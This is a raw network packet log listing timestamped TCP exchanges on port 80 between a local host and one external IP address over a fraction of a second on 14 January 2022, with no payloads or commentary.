Jan 14, 2022 05:00:01.181579113 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.181607962 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.181618929 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.181639910 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.181658030 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.181672096 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.181699038 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.181737900 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.181744099 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.181752920 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.181776047 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.181794882 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.181814909 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.181853056 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.181879997 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.181926966 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.181936026 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.181962013 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.181999922 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.182013035 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.182039022 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.182051897 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.182077885 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.182086945 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.182117939 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.182126999 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.182158947 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.182167053 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.182197094 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.182207108 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.182238102 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.182245970 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.182279110 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.182285070 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.182316065 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.182353973 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.182353973 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.182368040 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.182394028 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.182401896 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.182435036 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.182446003 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.182482004 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.182487011 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.182518959 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.182533026 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.182558060 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.182566881 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.182596922 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.182605982 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.182635069 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.182645082 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.182677031 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.182683945 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.182715893 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.182724953 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.182755947 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.182761908 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.182813883 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.182827950 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.182851076 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.182868004 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.182890892 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.182904959 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.182931900 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.182936907 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.182969093 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.182976961 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.183007002 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.183041096 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.183044910 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.183056116 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.183084011 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.183099031 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.183125019 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.183130980 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.183161974 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.183178902 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.183202982 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.183209896 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.183240891 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.183249950 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.183279037 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.183288097 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.183319092 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.183326006 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.183357000 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.183363914 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.183396101 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.183402061 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.183435917 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.183444977 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.183475971 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.183490038 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.183522940 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.227504969 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.227560043 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.227591991 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.227727890 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.227776051 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.234865904 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.235085011 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.235126019 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.235165119 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.235205889 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.235243082 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.235260010 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.235317945 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.237052917 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.240143061 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.240185022 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.240207911 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.240225077 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.240264893 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.240287066 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.240304947 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.240344048 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.240360022 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.240416050 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.240457058 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.240463018 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.240500927 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.240537882 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.240551949 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.240577936 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.240626097 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.240945101 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.240986109 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.241039991 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.241100073 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.241139889 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.241190910 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.241213083 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.241281986 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.241322041 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.241328955 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.241362095 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.241403103 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.241408110 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.241445065 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.241485119 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.241492033 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.241527081 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.241564989 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.241574049 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.241605997 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.241645098 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.241652966 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.241683006 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.241722107 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.241729975 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.241761923 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.241800070 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.241806984 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.241841078 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.241889954 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.241908073 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.241946936 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.241983891 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.241991997 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.242024899 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.242063046 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.242069960 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.242105007 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.242141962 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.242151976 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.242183924 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.242223024 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.242228985 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.242263079 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.242300987 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.242316008 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.242340088 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.242381096 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.242383957 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.242420912 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.242458105 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.242472887 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.242500067 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.242538929 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.242546082 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.242578030 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.242618084 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.242643118 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.242655993 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.242697001 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.242716074 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.242734909 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.242772102 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.242798090 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.242810965 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.242850065 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.242865086 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.242887974 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.242927074 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.242940903 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.242966890 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.243005991 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.243021965 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.243046999 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.243084908 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.243098974 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.243124962 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.243161917 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.243175983 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.243200064 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.243237972 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.243244886 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.243277073 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.243314981 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.243321896 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.243355036 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.243391037 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.243400097 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.282567978 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.284600973 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.284652948 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.284692049 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.284729004 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.284735918 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.284765959 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.284771919 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.284812927 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.284822941 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.284856081 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.284894943 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.284904957 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.284933090 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.284970999 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.284979105 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.285011053 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.285049915 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.285056114 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.285089970 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.285125971 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.285140038 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.285165071 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.285203934 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.285212040 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.285239935 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.285279036 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.285285950 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.291949987 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.291992903 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.292031050 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.292069912 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.292076111 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.292105913 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.292109966 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.292171001 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.297034979 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.297344923 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.297384977 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.297404051 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.297424078 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.297472954 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.297475100 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.297513008 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.297549009 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.297563076 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.297590017 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.297630072 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.297637939 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.297667980 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.297727108 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.297734976 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.297766924 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.297804117 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.297812939 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.297844887 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.297914028 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.297946930 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.300487041 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.300533056 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.300569057 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.300574064 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.300610065 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.300618887 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.300652027 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.300689936 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.300699949 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.300731897 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.300771952 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.300781965 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.300811052 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.300852060 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.300859928 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.300892115 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.300931931 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.300940037 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.300972939 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.301011086 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.301028967 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.301052094 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.301090956 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.301100969 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.301130056 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.301167965 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.301176071 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.301207066 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.301245928 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.301255941 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.301285982 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.301332951 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.301363945 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.301402092 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.301440001 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.301449060 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.301481962 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.301517963 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.301527977 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.301558018 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.301595926 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.301610947 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.301634073 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.301671982 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.301682949 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.301723003 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.301762104 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.301773071 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.301804066 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.301840067 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.301851034 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.301904917 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.301944017 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.301950932 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.301981926 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.302021027 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.302054882 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.302081108 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.302118063 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.302155972 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.302192926 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.302228928 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.302232027 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.302273035 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.302287102 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.302309990 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.302347898 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.302376032 CET	49905	80	192.168.2.3	94.142.143.91
